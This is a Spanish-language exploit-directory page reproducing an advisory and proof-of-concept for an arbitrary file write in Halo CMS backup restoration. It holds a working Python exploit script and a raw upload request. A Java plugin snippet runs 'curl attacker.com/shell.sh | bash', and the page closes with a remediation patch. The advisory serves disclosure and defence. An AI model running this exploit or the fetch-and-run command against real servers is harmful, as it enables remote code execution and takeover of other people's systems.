Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — Explotación de prueba de concepto para una vulnerabilidad de escritura arbitraria de archivos en la restauración de copias de seguridad de Halo CMS, que permite RCE mediante el reemplazo de JAR de complementos o la omisión de autenticación. | Kitploit
Herramientas/GitHubGitHub/unpredictable21/halo-2.25.4-backup-write-cve-2026-67920
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

Explotación de prueba de concepto para una vulnerabilidad de escritura arbitraria de archivos en la restauración de copias de seguridad de Halo CMS, que permite RCE mediante el reemplazo de JAR de complementos o la omisión de autenticación.

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad de Escritura Arbitraria de Archivos en la Restauración de Copias de Seguridad de Halo CMS

Resumen

Existe una vulnerabilidad crítica de escritura arbitraria de archivos en la funcionalidad de restauración de copias de seguridad de Halo CMS hasta la versión 2.25.4. El método restoreWorkdir() en MigrationServiceImpl.java copia el directorio workdir/ de un archivo de copia de seguridad proporcionado por el usuario directamente al directorio de trabajo de la aplicación Halo (~/.halo2/) sin ninguna validación de tipos de archivo, protección contra path traversal ni comprobación de enlaces simbólicos. Un atacante autenticado con privilegios de gestión de copias de seguridad puede crear un archivo ZIP de copia de seguridad malicioso que contenga archivos arbitrarios en el directorio workdir/, los cuales se escribirán en el directorio de trabajo del servidor al restaurarse, lo que potencialmente puede conducir a la Ejecución Remota de Código (RCE) mediante el reemplazo de JAR de plugins o a la evasión de autenticación mediante el reemplazo de claves RSA.

Puntuación CVSS v3.1: 8.8 (Alta)
Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73 (Control Externo del Nombre o Ruta de Archivo)


Versiones Afectadas

  • Halo CMS ≤ 2.25.4
  • Todas las versiones con funcionalidad de restauración de copias de seguridad

Detalles de la Vulnerabilidad

Causa Raíz

La vulnerabilidad reside en el método restoreWorkdir() de MigrationServiceImpl.java (líneas 230-243):

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // LÍNEA VULNERABLE
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

El método copyRecursively() (FileSystemUtils de Spring) realiza una copia recursiva sin:

  1. Validación de tipos de archivo - Sin comprobación de extensiones de archivo ni tipos MIME
  2. Protección contra path traversal - Sin comprobación de secuencias .. en nombres de archivo
  3. Detección de enlaces simbólicos - Sin comprobación de enlaces simbólicos
  4. Límites de tamaño de archivo - Sin restricción en los tamaños de archivo
  5. Protección contra sobrescritura - Sobrescribe silenciosamente archivos existentes

Vector de Ataque

La vulnerabilidad se desencadena a través del endpoint de restauración de copias de seguridad:

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

El proceso de restauración sigue esta secuencia:

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → Extraer ZIP al directorio temporal     │
│  2. restoreExtensions() → Restaurar extensions.data         │
│  3. restoreWorkdir() → Copiar workdir/ a ~/.halo2/          │
│     ↑ Archivos arbitrarios escritos en el directorio de trabajo │
└─────────────────────────────────────────────────────────────┘

Estructura de la Copia de Seguridad Maliciosa

Un archivo ZIP de copia de seguridad malicioso debe contener:

root@kitploit:~
malicious-backup.zip
├── extensions.data          # Requerido: Puede estar vacío o contener JSONL válido
└── workdir/                 # Requerido: El contenido se copia a ~/.halo2/
    ├── PWNED_BY_POC.txt     # Archivo marcador de prueba de concepto
    ├── plugins/             # JARs de plugins para RCE
    │   └── evil-plugin.jar  # Plugin malicioso
    └── keys/                # Claves RSA para evasión de autenticación
        ├── pat_id_rsa       # Clave privada maliciosa
        └── pat_id_rsa.pub   # Clave pública maliciosa

Formato de extensions.data

El archivo extensions.data debe ser válido para que restoreExtensions() tenga éxito. Los formatos válidos incluyen:

  1. Archivo vacío: (contenido vacío)

  2. Línea vacía: \n (solo salto de línea)

  3. JSONL válido: Un objeto ExtensionStore por línea:

    root@kitploit:~
    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    Donde data es contenido codificado en base64.


Pasos de Explotación

Requisitos Previos

  • Usuario autenticado con privilegios de gestión de copias de seguridad
  • Acceso de red a la API de Halo

Paso 1: Crear Copia de Seguridad Maliciosa

root@kitploit:~
import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # extensions.data vacío (pasa la validación de restoreExtensions)
    zf.writestr('extensions.data', '\n')

    # Archivo arbitrario para escribir en ~/.halo2/
    zf.writestr('workdir/PWNED_BY_POC.txt',
                '¡Escritura arbitraria de archivos confirmada!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

Paso 2: Subir la Copia de Seguridad Maliciosa

Dirección de Gestión de Copias de Seguridad del Frontend:http://ip:puerto/console/backup

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<Contenido binario del archivo ZIP>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

Paso 3: Verificar el Archivo Escrito

root@kitploit:~
# En el servidor Halo
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

Análisis de Impacto

Impacto Directo

  1. Escritura Arbitraria de Archivos: El atacante puede escribir cualquier archivo en ~/.halo2/
  2. Sobrescritura de Archivos: Los archivos existentes se sobrescriben silenciosamente

Escenarios de Escalada

Vector de AtaqueArchivo ObjetivoImpactoSeveridad
Reemplazo de JAR de Plugin~/.halo2/plugins/*.jarEjecución Remota de CódigoCrítica
Reemplazo de Clave RSA~/.halo2/keys/pat_id_rsaEvasión de AutenticaciónCrítica
Reemplazo de Tema~/.halo2/themes/*XSS AlmacenadoAlta
Sobrescritura de Configuración~/.halo2/*.yamlEvasión de Controles de SeguridadAlta

RCE mediante Reemplazo de JAR de Plugin

Un atacante puede reemplazar un JAR de plugin legítimo por uno malicioso que contenga:

root@kitploit:~
@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // Ejecutar comando arbitrario
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

Cuando se carga el plugin, el código malicioso se ejecuta con los privilegios del proceso de Halo.


Prueba de Concepto

Script PoC en Python

root@kitploit:~
#!/usr/bin/env python3
"""
PoC de Escritura Arbitraria de Archivos en la Restauración de Copias de Seguridad de Halo CMS
Vulnerabilidad: Escritura Arbitraria de Archivos en Restauración de Copias de Seguridad
CVSS: 8.8 (Alta)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    '¡Escritura arbitraria de archivos en la restauración de copias de seguridad de Halo confirmada!')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"Estado: {r.status_code}")
    print(f"Respuesta: {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] ¡ÉXITO! Compruebe: cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

Verificación

root@kitploit:~
# Ejecutar PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# En el servidor Halo
cat ~/.halo2/PWNED_BY_POC.txt

Remediación

Corrección Recomendada

Añadir validación al método restoreWorkdir():

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // Validar que no hay path traversal
                checkDirectoryTraversal(backupRoot, workdir);

                // Validar que no hay enlaces simbólicos
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("No se permiten enlaces simbólicos");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // Copiar con validación
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

Recomendaciones Adicionales

  1. Implementar firma de copias de seguridad: Firmar criptográficamente las copias de seguridad para evitar manipulaciones
  2. Añadir lista blanca de tipos de archivo: Permitir solo tipos de archivo específicos en workdir
  3. Implementar límites de tamaño de archivo: Restringir los tamaños máximos de archivo
  4. Añadir registro de auditoría: Registrar todas las operaciones de restauración de copias de seguridad
  5. Requerir re-autenticación: Solicitar confirmación de contraseña para la restauración de copias de seguridad

Referencias

  • Proveedor: https://github.com/halo-dev/halo
  • Código Afectado: application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java
  • CWE-73: https://cwe.mitre.org/data/definitions/73.html
  • Calculadora CVSS: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Cronología

  • Fecha de Descubrimiento: 2026-07-10
  • Notificación al Proveedor: [Pendiente]
  • Divulgación Pública: [Pendiente]

Créditos

  • Descubridor: LIAN

Aviso Legal

Esta divulgación de vulnerabilidad está destinada únicamente a fines de investigación de seguridad. El autor no es responsable de ningún uso indebido de esta información. Siempre obtenga la autorización adecuada antes de probar sistemas en busca de vulnerabilidades.

Descargar herramienta